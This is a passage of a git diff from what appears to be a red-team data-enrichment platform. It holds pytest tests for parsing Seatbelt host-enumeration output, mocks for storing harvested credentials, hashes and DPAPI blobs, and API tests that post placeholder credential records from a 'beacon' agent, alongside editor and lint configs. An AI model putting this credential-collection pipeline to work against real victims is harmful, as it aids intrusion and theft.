Networking\\Performance","ValueName":"IsMultiInstance","Value":1,"ValueKind":4,"SDDL":""}} diff --git a/cmd/enrichment/tests/services/postgres_connector/test_seatbelt_datatypes.py b/cmd/enrichment/tests/services/postgres_connector/test_seatbelt_datatypes.py new file mode 100644 index 0000000..2257749 --- /dev/null +++ b/cmd/enrichment/tests/services/postgres_connector/test_seatbelt_datatypes.py @@ -0,0 +1,63 @@ +# Standard Libraries +import json + +# 3rd Party Libraries +import pytest +from enrichment.tasks.raw_data_tag_service.seatbelt_datatypes import ( + SeatbeltFileInfo, + SeatbeltOSInfo, + parse_seatbelt_date, +) + + +@pytest.mark.asyncio +class TestSeatbeltOSInfo: + fileinfoJson = r'{"Type":"Seatbelt.Commands.Windows.FileInfoDTO","Data":{"Comments":null,"CompanyName":null,"FileDescription":null,"FileName":"C:\\Windows\\win.ini","FileVersion":null,"InternalName":null,"IsDebug":false,"IsDotNet":false,"IsPatched":false,"IsPreRelease":false,"IsPrivateBuild":false,"IsSpecialBuild":false,"Language":null,"LegalCopyright":null,"LegalTrademarks":null,"OriginalFilename":null,"PrivateBuild":null,"ProductName":null,"ProductVersion":null,"SpecialBuild":null,"Attributes":32,"CreationTimeUtc":"\/Date(1651900411539)\/","LastAccessTimeUtc":"\/Date(1673040385781)\/","LastWriteTimeUtc":"\/Date(1651900356098)\/","Length":92,"SDDL":"O:SYD:(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)"}}' + + osinfoJson = r'{"Type":"Seatbelt.Commands.Windows.OSInfoDTO","Data":{"InputLanguage":"US","InstalledInputLanguages":["US"],"Hostname":"4182bc05-025c-40e3-a683-7f2c21fee4be","Domain":"","Username":"4182BC05-025C-4\\WDAGUtilityAccount","ProductName":"Windows 10 Enterprise","EditionId":"Enterprise","ReleaseId":"2009","Build":"22621.1105","BuildBranch":"ni_release","CurrentMajorVersionNumber":"10","CurrentVersion":"6.3","Architecture":"AMD64","ProcessorCount":"20","IsVirtualMachine":true,"BootTimeUtc":"\/Date(1677783926282)\/","IsHighIntegrity":true,"IsLocalAdmin":true,"CurrentTimeUtc":"\/Date(1677784078907)\/","TimeZone":"Pacific Standard Time","TimeZoneUtcOffset":"-08:00:00","Locale":"en-US","MachineGuid":"bf2687c7-7be3-421c-a83d-0571cc4dbfdd"}}' + osinfoJsonWithOptionalInputLang = r'{"Type":"Seatbelt.Commands.Windows.OSInfoDTO","Data":{"InputLanguage":null,"InstalledInputLanguages":["US"],"Hostname":"4182bc05-025c-40e3-a683-7f2c21fee4be","Domain":"","Username":"4182BC05-025C-4\\WDAGUtilityAccount","ProductName":"Windows 10 Enterprise","EditionId":"Enterprise","ReleaseId":"2009","Build":"22621.1105","BuildBranch":"ni_release","CurrentMajorVersionNumber":"10","CurrentVersion":"6.3","Architecture":"AMD64","ProcessorCount":"20","IsVirtualMachine":true,"BootTimeUtc":"\/Date(1677783926282)\/","IsHighIntegrity":true,"IsLocalAdmin":true,"CurrentTimeUtc":"\/Date(1677784078907)\/","TimeZone":"Pacific Standard Time","TimeZoneUtcOffset":"-08:00:00","Locale":"en-US","MachineGuid":"bf2687c7-7be3-421c-a83d-0571cc4dbfdd"}}' + osinfoJsonWithMissingRequiredHostname = r'{"Type":"Seatbelt.Commands.Windows.OSInfoDTO","Data":{"InputLanguage":"US","InstalledInputLanguages":null,"Domain":"","Username":"4182BC05-025C-4\\WDAGUtilityAccount","ProductName":"Windows 10 Enterprise","EditionId":"Enterprise","ReleaseId":"2009","Build":"22621.1105","BuildBranch":"ni_release","CurrentMajorVersionNumber":"10","CurrentVersion":"6.3","Architecture":"AMD64","ProcessorCount":"20","IsVirtualMachine":true,"BootTimeUtc":"\/Date(1677783926282)\/","IsHighIntegrity":true,"IsLocalAdmin":true,"CurrentTimeUtc":"\/Date(1677784078907)\/","TimeZone":"Pacific Standard Time","TimeZoneUtcOffset":"-08:00:00","Locale":"en-US","MachineGuid":"bf2687c7-7be3-421c-a83d-0571cc4dbfdd"}}' + + async def test_seatbeltFileInfo_from_json(self): + d = json.loads(self.fileinfoJson) + info = SeatbeltFileInfo.from_dict(d["Data"]) + + assert info.FileName == "C:\\Windows\\win.ini" + + async def test_seatbeltOSInfo_from_json(self): + d = json.loads(self.osinfoJson) + osinfo = SeatbeltOSInfo.from_dict(d["Data"]) + + assert osinfo.Hostname == "4182bc05-025c-40e3-a683-7f2c21fee4be" + assert osinfo.Domain == "" + assert osinfo.Username == "4182BC05-025C-4\\WDAGUtilityAccount" + + async def test_seatbeltOSInfo_from_json_with_optional_null(self): + d = json.loads(self.osinfoJsonWithOptionalInputLang) + osinfo = SeatbeltOSInfo.from_dict(d["Data"]) + + assert osinfo.InputLanguage is None + + async def test_seatbeltOSInfo_from_json_with_missing_required_null(self): + d = json.loads(self.osinfoJsonWithMissingRequiredHostname) + + with pytest.raises(Exception): + SeatbeltOSInfo.from_dict(d["Data"]) + + +@pytest.mark.asyncio +class TestSeatbeltDateParsing: + async def test_parse_seatbelt_date(self): + # Represents March 6, 2023 8:21:20.278 PM UTC + datestr = "/Date(1678134080278)/" + + date = parse_seatbelt_date(datestr) + + assert date.year == 2023 + assert date.month == 3 + assert date.day == 6 + assert date.hour == 20 + assert date.minute == 21 + assert date.second == 20 + assert date.microsecond == 278000 + # assert date.tzinfo == datetime.timezone.utc diff --git a/cmd/enrichment/tests/services/process_categorizer/__init__.py b/cmd/enrichment/tests/services/process_categorizer/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/cmd/enrichment/tests/services/process_categorizer/data/browsers.csv b/cmd/enrichment/tests/services/process_categorizer/data/browsers.csv new file mode 100644 index 0000000..0671417 --- /dev/null +++ b/cmd/enrichment/tests/services/process_categorizer/data/browsers.csv @@ -0,0 +1,2 @@ +# Format: , - +chrome.exe,Google Chrome \ No newline at end of file diff --git a/cmd/enrichment/tests/services/process_categorizer/data/security_products.csv b/cmd/enrichment/tests/services/process_categorizer/data/security_products.csv new file mode 100644 index 0000000..b338f92 --- /dev/null +++ b/cmd/enrichment/tests/services/process_categorizer/data/security_products.csv @@ -0,0 +1,2 @@ +# Format: , - +SenseCE.exe,Microsoft Defender for Endpoint \ No newline at end of file diff --git a/cmd/enrichment/tests/services/process_categorizer/test_process_categorizer.py b/cmd/enrichment/tests/services/process_categorizer/test_process_categorizer.py new file mode 100644 index 0000000..9dc6ab5 --- /dev/null +++ b/cmd/enrichment/tests/services/process_categorizer/test_process_categorizer.py @@ -0,0 +1,24 @@ +# Standard Libraries +import os + +# 3rd Party Libraries +import pytest +from enrichment.tasks.process_categorizer.categorizer import CsvProcessCategorizer + + +@pytest.mark.asyncio +async def test_categorizer() -> None: + data_dir = os.path.join(os.path.dirname(__file__), "data") + categorizer = CsvProcessCategorizer(data_dir) + categorizer._category_files = { + "Browser": "browsers.csv", + "Security": "security_products.csv", + } + categories = await categorizer.lookup("chrome.exe") + + # assert len(categories) == 1 + # assert categories[0].category == "Browser" + # assert categories[0].description == "Google Chrome" + + assert categories.category == "Browser" + assert categories.description == "Google Chrome" diff --git a/cmd/enrichment/tests/services/raw_data_tag_service/conftest.py b/cmd/enrichment/tests/services/raw_data_tag_service/conftest.py new file mode 100644 index 0000000..84d5cf8 --- /dev/null +++ b/cmd/enrichment/tests/services/raw_data_tag_service/conftest.py @@ -0,0 +1,85 @@ +# Standard Libraries +from types import TracebackType +from typing import Optional, Type, Union + +# 3rd Party Libraries +import nemesispb.nemesis_pb2 as pb +import pytest +import structlog +from enrichment.lib.nemesis_db import ( + AuthenticationData, + DpapiBlob, + ExtractedHash, + NemesisDbInterface, + Project, + RegistryObject, +) +from nemesiscommon.messaging import MessageQueueProducerInterface + + +class MockNemesisDb(NemesisDbInterface): + async def add_project(self, project: Project) -> None: + pass + + async def add_authentication_data(self, auth_data: AuthenticationData) -> None: + pass + + async def add_extracted_hash(self, auth_data: ExtractedHash) -> None: + pass + + async def add_dpapi_blob(self, dpapi_blob: DpapiBlob) -> None: + pass + + async def add_registry_object(self, registry_object: RegistryObject) -> None: + pass + + async def add_service(self, metadata: pb.Metadata, service_name: str) -> None: + pass + + async def add_service_property(self, metadata: pb.Metadata, service_name: str, value_name: str, value: Union[int, str]) -> None: + pass + + async def add_host_info(self, os_info) -> None: + pass + + async def add_filesystem_object(self, file_info) -> None: + pass + + +class MockMessageProducer(MessageQueueProducerInterface): + message_count = 0 + + async def Send(self, message: bytes) -> None: + self.message_count += 1 + pass + + async def Close(self) -> None: + pass + + async def __aenter__(self): + pass + + async def __aexit__( + self, + exc_type: Optional[Type[BaseException]], + exc_val: Optional[BaseException], + exc_tb: Optional[TracebackType], + ) -> None: + pass + + +@pytest.fixture +def nemesis_db() -> MockNemesisDb: + return MockNemesisDb() + + +@pytest.fixture +def message_producer() -> MockMessageProducer: + return MockMessageProducer() + + +# @pytest.fixture +# def logger() -> logging.Logger: +# log = logging.getLogger("test") +# log.addHandler(logging.NullHandler()) +# return log diff --git a/cmd/enrichment/tests/services/raw_data_tag_service/test_service.py b/cmd/enrichment/tests/services/raw_data_tag_service/test_service.py new file mode 100644 index 0000000..709f079 --- /dev/null +++ b/cmd/enrichment/tests/services/raw_data_tag_service/test_service.py @@ -0,0 +1,96 @@ +# # Standard Libraries +# import structlog + +# # 3rd Party Libraries +# import pytest +# from enrichment.app import NemesisDb +# from enrichment.lib.nemesis_db import FileInfo +# from enrichment.tasks.raw_data_tag_service.seatbelt_datatypes import ( +# RegistryValueKindEnum, +# SeatbeltBaseDTO, +# SeatbeltDtoTypes, +# SeatbeltFileInfo, +# SeatbeltRegistryValue, +# ) +# from nemesiscommon.messaging import MessageQueueProducerInterface +# from nemesispb.nemesis_pb2 import Metadata, RegistryValueIngestion + + +# @pytest.fixture +# def raw_data_processor(logger: logging.Logger, nemesis_db: NemesisDb, message_producer: MessageQueueProducerInterface) -> RawDataProcessor: +# return RawDataProcessor(logger, nemesis_db, message_producer) + + +# @pytest.mark.asyncio +# class TestRawDataTagService: +# count = 0 + +# async def test_read_seatbelt_json_file(self, mock_file_open, raw_data_processor: RawDataProcessor) -> None: +# mock_file_open.read_data = """{"Type":"asdf1","Data":{"Key":"key1"}} +# {"Type":"asdf2","Data":{"Key":"key2"}} +# """ + +# metadata = Metadata() +# self.count = 0 + +# async def count_entries(dto: SeatbeltBaseDTO, metadata: Metadata) -> None: +# self.count += 1 + +# await raw_data_processor.read_seatbelt_json_file("seatbelt.json", metadata, count_entries) +# assert self.count == 2 + +# async def test_process_seatbelt_dto(self, raw_data_processor: RawDataProcessor): +# metadata = Metadata() +# dto = SeatbeltBaseDTO(SeatbeltDtoTypes.REGISTRY_VALUE.value, {"Key": "key1"}) + +# await raw_data_processor.process_seatbelt_dto(dto, metadata) +# assert raw_data_processor.reg_value_q.message_count == 1 + +# async def test_convert_reg_dto_to_pb(self, raw_data_processor: RawDataProcessor): +# key = r"HKLM\Software" +# value_name = "valueName" +# value = "value" +# value_kind = RegistryValueKindEnum.SZ +# sddl = None +# data = SeatbeltRegistryValue(key, value_name, value, value_kind, sddl) + +# out = await raw_data_processor.convert_reg_dto_to_pb(data, Metadata()) + +# assert out.data[0].key == key +# assert out.data[0].value_name == value_name +# assert out.data[0].value == value +# assert out.data[0].value_kind == value_kind.value +# assert out.data[0].HasField("sddl") is False + +# async def test_convert_reg_dto_to_pb_null_values(self, raw_data_processor: RawDataProcessor): +# data = SeatbeltRegistryValue("key", "valueName", "value", None, None) +# out = await raw_data_processor.convert_reg_dto_to_pb(data, Metadata()) +# data = out.data[0] +# data.ClearField("value") + +# with pytest.raises(ValueError): +# # Should fail since "key" should always be present, so you can't check if it's NOT present +# assert data.HasField("key") + +# assert data.HasField("value_name") is True +# assert data.HasField("value") is False +# assert data.HasField("value_kind") is False +# assert data.HasField("sddl") is False + +# async def test_convert_fileinfo_dto_to_fileinfo(self, raw_data_processor: RawDataProcessor): +# data = SeatbeltFileInfo() + +# out = await raw_data_processor.convert_fileinfo_dto_to_fileinfo(data, Metadata()) +# # data = out.data[0] +# # data.ClearField("path") + +# # with pytest.raises(ValueError): +# # # Should fail since "path" should always be present, so you can't check if it's NOT present +# # assert data.HasField("path") + +# # assert data.HasField("name") is True +# # assert data.HasField("extension") is True +# # assert data.HasField("size") is True +# # assert data.HasField("created") is True +# # assert data.HasField("modified") is True +# # assert data.HasField("accessed") is True diff --git a/cmd/enrichment/tests/services/web_api/test_main.py b/cmd/enrichment/tests/services/web_api/test_main.py new file mode 100644 index 0000000..20d5f8d --- /dev/null +++ b/cmd/enrichment/tests/services/web_api/test_main.py @@ -0,0 +1,221 @@ +# Standard Libraries +import base64 +import json +import logging +import tempfile +from typing import Awaitable, Callable, List + +# 3rd Party Libraries +import google.protobuf.message +import nemesiscommon.constants as constants +from enrichment.tasks.web_api import WebAPI +from fastapi import FastAPI +from fastapi.testclient import TestClient +from nemesiscommon.messaging import ( + MessageQueueConsumerInterface, + MessageQueueProducerInterface, +) +from nemesiscommon.mocks import storage + +TEST_ASSESS_ID = "assessment_id" + + +class MockProducerConsumer(MessageQueueProducerInterface, MessageQueueConsumerInterface): + def __init__(self, name="", *args, **kwargs): + self.name = name + self._vals: List[bytes] = [] + + async def Read(self, worker: Callable[[google.protobuf.message.Message], Awaitable[None]]) -> None: + await worker(self._vals.pop(0)) + + async def Send(self, message: bytes) -> None: + self._vals.append(message) + + async def Close(self) -> None: + pass + + async def __aenter__(self): + pass + + async def __aexit__(self, *args, **kwargs) -> None: + pass + + +async def test_data_post_authentication_data() -> None: + app = FastAPI() + logger = logging.getLogger("test") + queues = {q: MockProducerConsumer(q) for q in constants.ALL_QUEUES} + routes = WebAPI(logger, queues, storage.StorageNop(), "assessment_id") + app.include_router(routes.router) + client = TestClient(app) + + data = '{"metadata":{"agentId":"test_agent_id","agentType":"beacon","dataType":"authentication_data","source":"domain.com","project":"1234","timestamp":"2023-04-06T20:09:28.686025Z","messageId":"1234"},"data":[{"data":"test_data","type":"creds","uri":"https://domain.com","username":"test_user","notes":"test_notes"}]}' + data_obj = json.loads(data) + res = client.post("/data", json=data_obj) + assert res.status_code == 200 + + client = queues[constants.Q_AUTHENTICATION_DATA] + async with client: + + async def process_message(message: bytes) -> None: + assert message.decode("utf-8") == data + + await client.Read(process_message) + + out = res.json() + assert "object_id" in out + + +async def test_data_post_authentication_data_body() -> None: + app = FastAPI() + logger = logging.getLogger("test") + queues = {q: MockProducerConsumer() for q in constants.ALL_QUEUES} + routes = WebAPI(logger, queues, storage.StorageNop(), "assessment_id") + app.include_router(routes.router) + client = TestClient(app) + + data = '{"metadata":{"agentId":"test_agent_id","agentType":"beacon","dataType":"authentication_data","source":"domain.com","project":"1234","timestamp":"2023-04-06T20:09:28.686025Z","messageId":"1234"},"data":[{"data":"test_data","type":"creds","uri":"https://domain.com","username":"test_user","notes":"test_notes"}]}' + data_obj = json.loads(data) + res = client.post("/data", json=data_obj) + out = res.json() + assert "object_id" in out + + +async def test_data_post_file_data_works() -> None: + app = FastAPI() + logger = logging.getLogger("test") + queues = {q: MockProducerConsumer() for q in constants.ALL_QUEUES} + routes = WebAPI(logger, queues, storage.StorageNop(), "assessment_id") + app.include_router(routes.router) + client = TestClient(app) + + data = '{"metadata": {"agent_id": "WILL", "agent_type": "submit_to_nemesis", "automated": false, "data_type": "file_data", "source": "computer.domain.com", "expiration": "2023-07-22T16:19:17.000Z", "project": "ASSESS-TEST", "timestamp": "2023-04-13T16:19:17.000Z"}, "data": [{"path": "/home/max/Programming/ods/sample_files/appsettings.json", "size": 307, "object_id": "1a7443e2-97f4-4996-994c-00cf3ca94cad"}]}' + data_obj = json.loads(data) + res = client.post("/data", json=data_obj) + print(res.text) + assert res.status_code == 200 + + +async def test_data_post_file_data_body() -> None: + app = FastAPI() + logger = logging.getLogger("test") + queues = {q: MockProducerConsumer() for q in constants.ALL_QUEUES} + routes = WebAPI(logger, queues, storage.StorageNop(), "assessment_id") + app.include_router(routes.router) + client = TestClient(app) + + data = '{"metadata": {"agent_id": "WILL", "agent_type": "submit_to_nemesis", "automated": false, "data_type": "file_data", "source": "computer.domain.com", "expiration": "2023-07-22T16:19:17.000Z", "project": "ASSESS-TEST", "timestamp": "2023-04-13T16:19:17.000Z"}, "data": [{"path": "/home/max/Programming/ods/sample_files/appsettings.json", "size": 307, "object_id": "1a7443e2-97f4-4996-994c-00cf3ca94cad"}]}' + data_obj = json.loads(data) + res = client.post("/data", json=data_obj) + out = res.text + assert "object_id" in out + + +async def test_data_post_file_data() -> None: + app = FastAPI() + logger = logging.getLogger("test") + queues = {q: MockProducerConsumer() for q in constants.ALL_QUEUES} + routes = WebAPI(logger, queues, storage.StorageNop(), "assessment_id") + app.include_router(routes.router) + client = TestClient(app) + + data = '{"metadata": {"agent_id": "WILL", "agent_type": "submit_to_nemesis", "automated": false, "data_type": "file_data", "source": "computer.domain.com", "expiration": "2023-07-22T16:19:17.000Z", "project": "ASSESS-TEST", "timestamp": "2023-04-13T16:19:17.000Z"}, "data": [{"path": "/home/max/Programming/ods/sample_files/appsettings.json", "size": 307, "object_id": "1a7443e2-97f4-4996-994c-00cf3ca94cad"}]}' + data_obj = json.loads(data) + res = client.post("/data", json=data_obj) + + client = queues[constants.Q_FILE_DATA] + async with client: + + async def process_message(message: bytes) -> None: + print(message.decode("utf-8"), data) + assert message.decode("utf-8") == data + + await client.Read(process_message) + + out = res.json() + assert "object_id" in out + + +async def test_file_post() -> None: + app = FastAPI() + logger = logging.getLogger("test") + queues = {q: MockProducerConsumer() for q in constants.ALL_QUEUES} + stg = storage.StorageLocal() + routes = WebAPI(logger, queues, stg, "assessment_id") + app.include_router(routes.router) + client = TestClient(app) + + temp_file = tempfile.TemporaryFile() + temp_file.write(b"test") + temp_file.seek(0) + + res = client.post("/file", files={"file": temp_file}) + + res_out = res.json() + + assert res.status_code == 200 + assert "object_id" in res_out + assert stg.exists(res_out["object_id"]) + + +async def test_file_get() -> None: + app = FastAPI() + queues = {q: MockProducerConsumer() for q in constants.ALL_QUEUES} + stg = storage.StorageLocal() + routes = WebAPI(None, queues, stg, "assessment_id") + app.include_router(routes.router) + client = TestClient(app) + + TEST_STR = "test".encode("utf-8") + + res = client.post("/file", data=TEST_STR) + + res_out = res.json() + id_ = res_out["object_id"] + id_b64 = base64.urlsafe_b64encode(id_.encode("utf-8")).decode("utf-8") + + res_g = client.get(f"/data?storage_id={id_b64}") + assert res_g.status_code == 200 + assert res_g.content == TEST_STR + + +async def test_download() -> None: + app = FastAPI() + queues = {q: MockProducerConsumer() for q in constants.ALL_QUEUES} + stg = storage.StorageLocal(TEST_ASSESS_ID) + routes = WebAPI(None, queues, stg, TEST_ASSESS_ID) + app.include_router(routes.router) + client = TestClient(app) + + TEST_STR = "test".encode("utf-8") + + res = client.post("/file", data=TEST_STR) + + res_out = res.json() + id_ = res_out["object_id"] + + res_g = client.get(f"/download/{id_}") + assert res_g.status_code == 200 + assert res_g.headers["Content-Disposition"] == f'attachment; filename="{id_}"' + assert res_g.headers["Content-Type"] == "application/octet-stream" + + +async def test_download_pdf() -> None: + app = FastAPI() + queues = {q: MockProducerConsumer() for q in constants.ALL_QUEUES} + stg = storage.StorageLocal(TEST_ASSESS_ID) + routes = WebAPI(None, queues, stg, TEST_ASSESS_ID) + app.include_router(routes.router) + client = TestClient(app) + + TEST_STR = "test".encode("utf-8") + + res = client.post("/file", data=TEST_STR) + + res_out = res.json() + id_ = res_out["object_id"] + + res_g = client.get(f"/download/{id_}?name=test.pdf") + assert res_g.status_code == 200 + assert res_g.headers["Content-Disposition"] == f'inline; filename="{id_}"' + assert res_g.headers["Content-Type"] == "application/pdf" diff --git a/cmd/nlp/.flake8 b/cmd/nlp/.flake8 new file mode 100644 index 0000000..ace149b --- /dev/null +++ b/cmd/nlp/.flake8 @@ -0,0 +1,7 @@ +[flake8] +ignore = E231, E241 +per-file-ignores = + __init__.py:F401 +max-line-length = 240 +count = true +exclude = enrichment/lib/ext_tools \ No newline at end of file diff --git a/cmd/nlp/.gitignore b/cmd/nlp/.gitignore new file mode 100644 index 0000000..ddf4581 --- /dev/null +++ b/cmd/nlp/.gitignore @@ -0,0 +1,163 @@ +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +*.so + +# Distribution / packaging +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.nox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +*.py,cover +.hypothesis/ +.pytest_cache/ +cover/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py +db.sqlite3 +db.sqlite3-journal + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +.pybuilder/ +target/ + +# Jupyter Notebook +.ipynb_checkpoints + +# IPython +profile_default/ +ipython_config.py + +# pyenv +# For a library or package, you might want to ignore these files since the code is +# intended to run in multiple environments; otherwise, check them in: +# .python-version + +# pipenv +# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. +# However, in case of collaboration, if having platform-specific dependencies or dependencies +# having no cross-platform support, pipenv may install dependencies that don't work, or not +# install all needed dependencies. +#Pipfile.lock + +# poetry +# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. +# This is especially recommended for binary packages to ensure reproducibility, and is more +# commonly ignored for libraries. +# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control +#poetry.lock + +# pdm +# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. +#pdm.lock +# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it +# in version control. +# https://pdm.fming.dev/#use-with-ide +.pdm.toml + +# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm +__pypackages__/ + +# Celery stuff +celerybeat-schedule +celerybeat.pid + +# SageMath parsed files +*.sage.py + +# Environments +.env +.venv +env/ +venv/ +ENV/ +env.bak/ +venv.bak/ + +# Spyder project settings +.spyderproject +.spyproject + +# Rope project settings +.ropeproject + +# mkdocs documentation +/site + +# mypy +.mypy_cache/ +.dmypy.json +dmypy.json + +# Pyre type checker +.pyre/ + +# pytype static type analyzer +.pytype/ + +# Cython debug symbols +cython_debug/ + +# PyCharm +# JetBrains specific template is maintained in a separate JetBrains.gitignore that can +# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore +# and can be added to the global gitignore or merged into this file. For a more nuclear +# option (not recommended) you can uncomment the following to ignore the entire idea folder. +#.idea/ + +process_categorizer-data/ +# Ignore dynaconf secret files +.secrets.* diff --git a/cmd/nlp/.python-version b/cmd/nlp/.python-version new file mode 100644 index 0000000..1e33456 --- /dev/null +++ b/cmd/nlp/.python-version @@ -0,0 +1 @@ +3.11.2 diff --git a/cmd/nlp/.vscode/extensions.json b/cmd/nlp/.vscode/extensions.json new file mode 100644 index 0000000..5751efd --- /dev/null +++ b/cmd/nlp/.vscode/extensions.json @@ -0,0 +1,16 @@ +{ + // See https://go.microsoft.com/fwlink/?LinkId=827846 to learn about workspace recommendations. + // Extension identifier format: ${publisher}.${name}. Example: vscode.csharp + // List of extensions which should be recommended for users of this workspace. + "recommendations": [ + "ms-python.black-formatter", + "ms-python.flake8", + "ms-python.isort", + "ms-python.python", + "ms-python.vscode-pylance", + "njpwerner.autodocstring", + "zxh404.vscode-proto3", + ], + // List of extensions recommended by VS Code that should not be recommended for users of this workspace. + "unwantedRecommendations": [] +} \ No newline at end of file diff --git a/cmd/nlp/.vscode/launch.json b/cmd/nlp/.vscode/launch.json new file mode 100644 index 0000000..7b1dbbc --- /dev/null +++ b/cmd/nlp/.vscode/launch.json @@ -0,0 +1,22 @@ +{ + // Use IntelliSense to learn about possible attributes. + // Hover to view descriptions of existing attributes. + // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387 + "version": "0.2.0", + "configurations": [ + { + "name": "Service: nlp", + "type": "python", + "request": "launch", + "module": "nlp", + "console": "integratedTerminal", + "cwd": "${workspaceFolder}", + "justMyCode": false, + "env": { + // "PYTHONASYNCIODEBUG": "1", + "BETTER_EXCEPTIONS": "1", + "FORCE_COLOR": "1", + } + } + ] +} \ No newline at end of file diff --git a/cmd/nlp/.vscode/settings.json b/cmd/nlp/.vscode/settings.json new file mode 100644 index 0000000..1490d27 --- /dev/null +++ b/cmd/nlp/.vscode/settings.json @@ -0,0 +1,64 @@ +{ + "[javascript]": { + "editor.formatOnSave": false + }, + "[html]": { + "editor.formatOnSave": false + }, + "[python]": { + "editor.codeActionsOnSave": { + "source.organizeImports": true + }, + "editor.defaultFormatter": "ms-python.black-formatter", + "editor.formatOnSave": true, + }, + "autoDocstring.docstringFormat": "google", + "editor.formatOnSave": true, + "files.exclude": { + "**/.DS_Store": true, + "**/.git": true, + "**/.hg": true, + "**/.mypy_cache": true, + "**/.pytest_cache": true, + "**/.svn": true, + "**/.venv": true, + "**/__pycache__": true, + "**/Thumbs.db": true + }, + "files.trimTrailingWhitespace": true, + "files.watcherExclude": { + "**/__pycache__/**": true, + "**/.git/objects/**": true, + "**/.git/subtree-cache/**": true, + "**/.hg/store/**": true, + "**/.ipynb_checkpoints/**": true, + "**/.mypy_cache/**": true, + "**/.pytest_cache/**": true, + "**/.venv/**": true, + "**/*.egg-info/**": true, + "**/build/**": true, + "**/dist/**": true, + "**/node_modules/*/**": true, + }, + "python.analysis.diagnosticSeverityOverrides": { + "reportMissingImports": "none", + "reportMissingModuleSource": "none", + }, + "python.analysis.useLibraryCodeForTypes": true, // Pyright + "python.formatting.provider": "none", + "python.languageServer": "Pylance", + "python.linting.enabled": true, + "python.linting.flake8Args": [ + "--max-line-length=240", + "--ignore=E203,E722,W503", + ], + "python.linting.flake8Enabled": true, + "python.linting.lintOnSave": true, + "python.linting.pylintEnabled": false, + "python.testing.pytestArgs": [ + "tests" + ], + "python.testing.unittestEnabled": false, + "python.testing.pytestEnabled": true, + "python.analysis.typeCheckingMode": "basic", +} \ No newline at end of file diff --git a/cmd/nlp/.vscode/tasks.json b/cmd/nlp/.vscode/tasks.json new file mode 100644 index 0000000..00b0263 --- /dev/null +++ b/cmd/nlp/.vscode/tasks.json @@ -0,0 +1,12 @@ +{ + // See https://go.microsoft.com/fwlink/?LinkId=733558 + // for the documentation about the tasks.json format + "version": "2.0.0", + "tasks": [ + { + "label": "Type Checking", + "type": "shell", + "command": "poetry run pyright" + } + ] +} \ No newline at end of file diff --git a/cmd/nlp/README.md b/cmd/nlp/README.md new file mode 100644 index 0000000..e69de29 diff --git a/cmd/nlp/nlp/__init__.py b/cmd/nlp/nlp/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/cmd/nlp/nlp/__main__.py b/cmd/nlp/nlp/__main__.py new file mode 100644 index 0000000..f70b85c --- /dev/null +++ b/cmd/nlp/nlp/__main__.py @@ -0,0 +1,74 @@ +# Standard Libraries +import asyncio +import signal +from typing import Any, Optional + +# 3rd Party Libraries +import structlog +from nemesiscommon.logging import configure_logger + +from nlp.app import App +from nlp.settings import config + +configure_logger(False, config.log_level, config.environment.value) +logger = structlog.get_logger(module=__name__) + + +def main(): + loop = asyncio.get_event_loop() + + if config.environment.is_development(): + # loop.set_debug(True) + loop.slow_callback_duration = 1 + + signals = (signal.SIGHUP, signal.SIGTERM, signal.SIGINT) + for s in signals: + loop.add_signal_handler(s, lambda s=s: asyncio.create_task(shutdown(loop, s))) + loop.set_exception_handler(handle_exception) + + app = App(config) + task = app.start() + loop.run_until_complete(task) + + +async def shutdown( + loop: asyncio.AbstractEventLoop, signal: Optional[signal.Signals] = None +): + """Cleanup tasks tied to the service's shutdown.""" + + if signal: + await logger.ainfo(f"Shutting down due the signal '{signal.name}'...") + else: + await logger.ainfo("Shutting down...") + + tasks = [t for t in asyncio.all_tasks() if t is not asyncio.current_task()] + + await logger.ainfo(f"Cancelling {len(tasks)} outstanding tasks") + [task.cancel() for task in tasks] + + await asyncio.gather(*tasks) + + loop.stop() + + +def handle_exception(loop: asyncio.AbstractEventLoop, context: dict[str, Any]): + # context["message"] will always be there; but context["exception"] may not + + e = context.get("exception", None) + msg = context.get("message") + + if "exception" in context: + logger.error( + "Unhandled global exception", + exception=str(e), + exception_message=msg, + ) + else: + logger.error("Unhandled global exception", exception_message=msg) + + # logger.info("Shutting down...") + # asyncio.create_task(shutdown(loop)) + + +if __name__ == "__main__": + main() diff --git a/cmd/nlp/nlp/app.py b/cmd/nlp/nlp/app.py new file mode 100644 index 0000000..c8cd925 --- /dev/null +++ b/cmd/nlp/nlp/app.py @@ -0,0 +1,106 @@ +# Standard Libraries +import asyncio +from urllib.parse import urlparse + +# 3rd Party Libraries +import nemesiscommon.constants as constants +import nemesispb.nemesis_pb2 as pb +import structlog +import uvicorn +from fastapi import FastAPI +from nemesiscommon.messaging_rabbitmq import NemesisRabbitMQConsumer +from nemesiscommon.setupqueues import initRabbitMQ +from nemesiscommon.socketwaiter import SocketWaiter +from nemesiscommon.storage_s3 import StorageS3 +from nemesiscommon.storage_minio import StorageMinio +from nemesiscommon.storage import StorageInterface +from nlp.services.indexing import IndexingService +from nlp.services.semantic_search import SemanticSearchAPI +from nlp.settings import NLPSettings +from prometheus_async.aio.web import MetricsHTTPServer, start_http_server + +logger = 